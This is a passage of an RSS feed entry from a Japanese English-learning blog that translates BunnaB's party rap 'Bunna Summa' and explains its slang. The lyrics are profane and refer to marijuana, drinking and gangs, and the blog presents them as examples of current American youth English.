<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/VtEsnIS3SNc?si=oHqkMdAMt9i-sV1t" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/03/maxresdefault.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">Snow Man 『JUICY』和訳。やみつきになるダンスとポップでエロい歌詞</span></a>
</div>
</div>
]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6477</post-id>	</item>
		<item>
		<title>『Bunna Summa』歌詞和訳｜BunnaBの夏ラップで学ぶアメリカ若者英語</title>
		<link>https://ffeng.jp/2026/02/07/bunna-summa-lyrics-translation/</link>
		
		<dc:creator><![CDATA[ffeng]]></dc:creator>
		<pubDate>Sat, 07 Feb 2026 13:48:34 +0000</pubDate>
				<category><![CDATA[アメリカ・イギリス英語]]></category>
		<category><![CDATA[エンターテイメント]]></category>
		<category><![CDATA[カルチャー]]></category>
		<category><![CDATA[スラング]]></category>
		<category><![CDATA[ボキャブラリー]]></category>
		<category><![CDATA[使える英会話・イディオム]]></category>
		<category><![CDATA[音楽]]></category>
		<category><![CDATA[BunnaB]]></category>
		<category><![CDATA[Don Julio]]></category>
		<category><![CDATA[Ereunna Mccoy]]></category>
		<category><![CDATA[Instagram]]></category>
		<category><![CDATA[TikTok]]></category>
		<category><![CDATA[『Bunna Summa]]></category>
		<category><![CDATA[アメリカ]]></category>
		<category><![CDATA[エレウナ・マッコイ]]></category>
		<category><![CDATA[カリフォルニア ガール]]></category>
		<category><![CDATA[テキーラ]]></category>
		<category><![CDATA[パーティ]]></category>
		<category><![CDATA[ヒップホップ]]></category>
		<category><![CDATA[ブラビー]]></category>
		<category><![CDATA[ラップ]]></category>
		<category><![CDATA[仲間]]></category>
		<category><![CDATA[和訳]]></category>
		<category><![CDATA[夏]]></category>
		<category><![CDATA[大麻]]></category>
		<category><![CDATA[歌詞]]></category>
		<category><![CDATA[爆発的ヒット]]></category>
		<category><![CDATA[若者英語]]></category>
		<category><![CDATA[英語学習]]></category>
		<category><![CDATA[酒]]></category>
		<guid isPermaLink="false">https://ffeng.jp/?p=6303</guid>

					<description><![CDATA[<p>アメリカのヒップホップには、深いメッセージ性を語る <a class="mh-excerpt-more" href="https://ffeng.jp/2026/02/07/bunna-summa-lyrics-translation/" title="『Bunna Summa』歌詞和訳｜BunnaBの夏ラップで学ぶアメリカ若者英語">[...]</a></p>
The post <a href="https://ffeng.jp/2026/02/07/bunna-summa-lyrics-translation/">『Bunna Summa』歌詞和訳｜BunnaBの夏ラップで学ぶアメリカ若者英語</a> first appeared on <a href="https://ffeng.jp">たのしむイングリッシュ</a>.<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-thumbnails'>
<!-- YARPP Thumbnails -->
<h3>Related posts</h3>
<div class="yarpp-thumbnails-horizontal">
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/06/29/afterparty/' title='アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/06/img_8878.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">アビゲイル・バーロウ「Afterparty」和訳。アメリカ版 積極的に気に入った男子を二次会に誘う女子の歌</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2021/10/23/edamame/' title='ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="https://youtu.be/K6BRna4_bmg?si=7qPINKDPW0wVmUid" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2021/10/bbno-dan-rich-brian_169.jpg?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">ラップと枝豆の融合？Rich Brian&amp;bbno$『edamame』和訳</span></a>
<a class='yarpp-thumbnail' rel='norewrite' href='https://ffeng.jp/2024/09/15/talktalk/' title='チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック'>
<img width="120" height="120" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=120%2C120&amp;ssl=1" class="attachment-yarpp-thumbnail size-yarpp-thumbnail wp-post-image" alt="" data-pin-nopin="true" decoding="async" loading="lazy" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=150%2C150&amp;ssl=1 150w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?resize=120%2C120&amp;ssl=1 120w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?zoom=2&amp;resize=120%2C120&amp;ssl=1 240w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/09/Troye-Sivan-Charli-XCX.webp?zoom=3&amp;resize=120%2C120&amp;ssl=1 360w" sizes="auto, (max-width: 120px) 100vw, 120px" /><span class="yarpp-thumbnail-title">チャーリーXCX “Talk Talk” feat.トロイ・シヴァン　和訳　夏の終わりにぴったりなセクシーでスリリングなダンスミュージック</span></a>
</div>
</div>
]]></description>
										<content:encoded><![CDATA[<p>アメリカのヒップホップには、深いメッセージ性を語る楽曲だけでなく、その時代の若者がどんな言葉を使い、ノリで遊んでいるのか、をそのまま切り取った曲が数多く存在します。<br>今回取り上げる<strong>BunnaB （ブナビー）</strong>の<strong>『Bunna Summa』</strong> は、まさにそうしたタイプの一曲。夏、パーティ、酒、SNS、スラングといった要素が並び、意味の重さよりも空気感やテンションが優先されています。簡単は単語が多く使用される一方で、「3.5」などの数字や、アメリカ特有の若者スラングが自然に使われており、英語学習やカルチャー理解の視点では非常に興味深い楽曲です。<br>この記事では、去年、全米で爆発的ヒットした楽曲と、アーティスト<strong>BunnaB </strong>について整理しながら、カリフォルニア ガールっぽい攻めたイケイケの訳で「今のアメリカの若者英語」を読み解きます。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:61px;height:auto"/></figure>



<h2 class="wp-block-heading">BunnaB （ブナビー）ってどんなアーティスト？</h2>



<p>本名Ereunna Mccoy（エレウナ・マッコイ）。米国アトランタ出身の22歳。インディー寄りヒップホップシーンで活動するラッパー。いわゆるメインストリームのスターではなく、若者向けのノリの良い楽曲を中心に発表するアーティストです。強い社会批評や内省的テーマより、パーティ、遊び、ストリート感覚などの「今っぽさ」を前面に押し出す作風が特徴。TikTokやInstagramなど、短尺動画と相性のいい楽曲が多く、聴く側に深く考えさせるというより、雰囲気やテンションを共有を得意とする。アメリカ若者文化の言葉や感覚をそのまま音楽に落とし込む存在であり、「文化的に偉大なアーティスト」ではなく、「今の空気を知るための存在」として捉えられています。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:61px;height:auto"/></figure>



<h2 class="wp-block-heading">Bunna Summa ってどんな楽曲？</h2>



<p>夏の始まりを祝福するようなテンション重視のUSヒップホップ。パーティ、酒、仲間、夜通し遊ぶ感覚をそのまま切り取った一曲です。歌詞は深い物語性や社会的メッセージを語るものではなく、「今この瞬間を楽しむ」ことに全振りしているのが特徴。3.5（大麻3.5g）やDon Julio（テキーラの商品名）、インスタライブなど、アメリカの若者文化を象徴するワードが自然に並び、現代のアメリカのパーティシーンの空気感をリアルに伝えています。内容はかなり軽く、やや過激ですが、その分「実際に使われている英語」「リアルなスラング」の用法例として最適です。考察する曲というより、流して楽しむ、もしくはカルチャー理解のサンプルとして聴かれるタイプの楽曲です。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:61px;height:auto"/></figure>



<h2 class="wp-block-heading">Bunna Summa ―― BunnaB</h2>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
https://youtu.be/QmRHBKsrNP8?si=m-3Zds-hL2BY31bT
</div></figure>



<p><strong>Summer just begun<br>‘Til we see the sun<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Three five in a blunt</mark> (ah)</strong></p>



<p>夏が始まったばっか<br>朝日が昇るまで終わらない<br>3.5でぶっ飛ぶよ（ah）</p>



<p><strong>Ah-da-da-da, yeah, we stay <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">litty</mark><br>Fuck where you from, you <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">ain&#8217;t fuckin’ with</mark> my city<br>Put that shit on, we rockin&#8217; <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">J&#8217;s </mark>with <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">True Religions</mark><br>Gotta <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">rep a set</mark>, you bangin’ <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Blood</mark> or <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Rollin’ 60s</mark>? (Ha-ha)<br>Pass the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Reposado</mark>, if he lookin&#8217; your way then he is not my ho<br>Off the <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Don</mark>, I go crazy, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">talmbout</mark> <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">psycho</mark><br>Caught a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">DUI</mark>, but it’s okay, I got <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">GEICO</mark><br>I <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">drive the boat</mark>, these <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">bitch</mark>es follow<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Fucked around</mark> and <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">text my ex</mark>, oops, it was a <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">typo</mark><br>Shake, shake, shake, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">booty shake like a maraca</mark><br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Yeen throwin&#8217; ass,</mark> what the fuck <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">you outside for</mark>?</strong></p>



<p>イエーイ、超アガりまくり<br>どこ出身とかどうでもいい、ここはうちらの街<br>今日も全身キマってる、デニムにJ’s<br>どこのギャング？ Blood？ それとも60’s？（笑）<br>レポサド回し飲んで、ヤツがこっち見てても気にしない<br>ドン飲んで、ちょっとクレイジー、気分はサイコ<br>飲酒運転やらかしたけど大丈夫、保険あるし<br>私って主役じゃん、みんな勝手についてくる<br>元カレに間違ってメール？ごめーん、誤爆ってやつ？<br>シェイク、シェイク、マラカスみたいに腰揺って<br>踊らないなら、なんで来たのよ？</p>



<p><strong>Yeah, we ‘bout to have fun<br>You know summer just begun<br>Party all night and &#8216;til we see the sun<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Call up the plug up</mark>, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">roll the three five in a blunt</mark><br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Don Julio</mark>, I can taste it on my tongue<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">We outside</mark>, you know it’s gonna be a vibe<br>Get your camera phones, start the Instagram live<br>Wearin&#8217; <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">booty shorts</mark> showin&#8217; extra skin and <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">thighs</mark><br>Party, party, party, yeah, we <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">finna </mark>have a time</strong></p>



<p>イエーイ、今日は遊ぶわよ<br>だって夏は始まったばっか<br>朝日が昇るまでパーティ<br>ディーラー呼んで、3.5巻いて<br>ドン・フリオがまだ舌に残ってる<br>外に出たら、もうバイブス完璧<br>スマホ出して、インスタライブ<br>ショーパンで肌見せ、脚線美<br>パーティ、パーティ、今夜は本気でいくよ</p>



<p><strong>Hold up, bitch, we <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">finna</mark> go up<br>Pour, pour, pour, pour ‘til it’s no more cups<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Drank, drank, drank, drank</mark> &#8216;til you think you ‘bout to throw up<br>Lookin&#8217; at us sideways, but they don’t know us<br>Don&#8217;t need no extra people, know we <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">turnin’ up regardless</mark><br>Got my gang with me, yeah, we came to have a party<br>She <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">sittin&#8217; on the sideline</mark>, girl, you lookin&#8217; sorry<br>Booty <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">goin’ dumb, stupid, and retarded</mark></strong></p>



<p>待って、ここからブチ上げていくよ<br>カップがなくなるまで注いで<br>吐くまで飲むよ<br>横目で見てるけど、うちらのこと知らないでしょ<br>頭数なんていらない、勝手に盛り上がれるし<br>仲間揃ってるし、今日は遊ぶ気満々<br>端っこで見てるだけ？それダサくない？<br>そのヒップ、もうヤバすぎるでしょ</p>



<p><strong>Yeah, we ‘bout to have fun<br>You know summer just begun<br>Party all night and &#8216;til we see the sun<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Call up the plug up</mark>, <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">roll the three five in a blunt</mark><br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Don Julio</mark>, I can taste it on my tongue<br><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">We outside</mark>, you know it’s gonna be a vibe<br>Get your camera phones, start the Instаgrаm live<br>Wear <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">booty shorts</mark> showin&#8217; extra skin and <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">thighs</mark><br>Party, party, party, yeah, we <mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">finna</mark> have a time</strong></p>



<p>イエーイ、今日は遊ぶわよ<br>だって夏は始まったばっか<br>朝日が昇るまでパーティ<br>ディーラー呼んで、3.5巻いて<br>ドン・フリオがまだ舌に残ってる<br>外に出れば、もうバイブス完璧<br>スマホ出して、インスタライブ<br>ショーパンで肌見せ、脚線美<br>パーティ、パーティ、今夜は本気でいくよ</p>



<p><strong><mark style="background-color:rgba(0, 0, 0, 0)" class="has-inline-color has-vivid-red-color">Ice cream girl</mark><br>It’s me<br>Da-da-da-da</strong></p>



<p>アイスクリーム ガール<br>それ、私<br></p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:61px;height:auto"/></figure>



<div class="wp-block-vk-blocks-border-box vk_borderBox vk_borderBox-background-transparent has-text-color is-style-vk_borderBox-style-solid-round-tit-tab" style="color:#7ed0ff"><div class="vk_borderBox_title_container has-background" style="background-color:#7ed0ff"><i class=""></i><h4 class="vk_borderBox_title"><span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span>  関連記事   <span class="wp-rich-text-font-awesome-icon wp-font-awesome-icon"><svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="star" class="svg-inline--fa fa-star " role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path fill="currentColor" d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path></svg></span></h4></div><div class="vk_borderBox_body">
<p><a href="https://ffeng.jp/2025/12/08/tiktok-english-slang-2025/" target="_blank" rel="noopener" title=""><span style="text-decoration: underline;">【2025年度】TikTok英語スラング｜“今ほんとうに使われてる英語”50選｜Z世代×ネイティブのリアル表現大全</span></a></p>
</div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="width:61px;height:auto"/></figure>



<h2 class="wp-block-heading">歌詞に出てくる略語・スラング解説</h2>



<p>ヒップポップの歌詞には独特のスラングが多く登場します。上記、赤字のスラングを解説。スラングの中でも過激なものもあるので、使用する際には十分気をつけてくださいね。</p>



<h3 class="wp-block-heading">litty</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 67px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>litty</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 21px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 21px;">めちゃくちゃ盛り上がってる、ブチ上がり、アガってる、キマってる、最高潮</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">酒、ドラッグ、パーティなど全部含んだ最高な状態</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">roll the three five in a blunt</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>roll the three five in a blunt</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">葉巻をくり抜いて大麻を大麻 3.5gを詰める</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">アメリカでは量を数字で言うのが普通。ドラッグに関するスラング。パーティ×西海岸の定番</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">ain’t fuckin’ with～</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>ain’t fuckin’ with～</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">（スラング）～には敵わない、～と張り合えない、～のレベルではない</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">相手を見下す、または距離を置く強いニュアンスを含むため、日常会話での使用には注意が必要</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">J’s</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>J’s</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">Air Jordan（ナイキのスニーカー）</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">金ある、ストリート理解してる、ダサくない、という意味を含むファッションマウント要素あり表現</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">True Religions</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2"><strong>True Religions</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">トゥルーレリジョン（高級デニムブランド）</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">成金感・クラブ感・西海岸ラッパー文化を表現</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="68" height="58" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2026/02/a387479246f8ea7b46c8a9b81b06f32f.png?resize=68%2C58&#038;ssl=1" alt="" class="wp-image-6217" style="aspect-ratio:1.1723254438746102;width:23px;height:auto"/></figure>



<h3 class="wp-block-heading">rep a set</h3>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 69px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px;" colspan="2">rep a set</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>意味</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">どこの組を名乗ってる？、どこのグループ、界隈なの？<br />（ギャング文脈だが半分ネタ）</td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; vertical-align: middle; height: 23px;">・rep = representの略。〜を誇示する<br />・set = ギャングの所属</td>
</tr>
</tbody>
</table>


